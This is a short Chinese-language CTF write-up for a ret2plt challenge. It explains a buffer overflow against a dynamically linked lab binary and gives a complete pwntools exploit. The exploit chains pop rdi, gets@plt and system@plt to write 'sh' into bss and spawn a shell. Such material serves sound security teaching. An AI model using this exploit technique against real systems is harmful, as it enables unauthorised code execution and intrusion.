Yuawn Pwn2 ret2plt Writeup

kazma 成大資安社 創辦人/社長

ret2plt

r2 看一下 main:

r2

file 看一下:

file

因為是 dynamically linked,所以 gadget 會很少,可能不能直接拼出一個 shell,所以這題改用 ret2plt 的方式,計畫是找到可以控 rdi 的 gadget 然後一個有 rwx 的 地址區段,再 call gets 的 plt 來往裡面寫入 sh,最後採 syscall 的 plt,召喚我們的 shell,那先用 gdb 找一下可寫可執行的地址:

bss

隨便挑一個不會蓋到東西的位址,這裡挑 0x601070。
exploit.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

context.arch = 'amd64'
# r = remote('10.129.0.66', 10175)
r = process('./ret2plt')

pop_rdi = 0x0000000000400733
bss = 0x601070
gets_plt = 0x0000000000400530
system_plt = 0x0000000000400520

p = flat(
b'a'*0x38,
pop_rdi,
bss,
gets_plt,
pop_rdi,
bss,
system_plt
)

r.sendlineafter(b':D', p)
r.interactive()

執行結果:

result

Pwned !!!

  • Title: Yuawn Pwn2 ret2plt Writeup
  • Author: kazma
  • Created at : 2023-12-17 15:13:26
  • Updated at : 2023-12-17 16:21:48
  • Link: https://kazma.tw/2023/12/17/Yuawn-Pwn2-ret2plt-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
 Comments
On this page
Yuawn Pwn2 ret2plt Writeup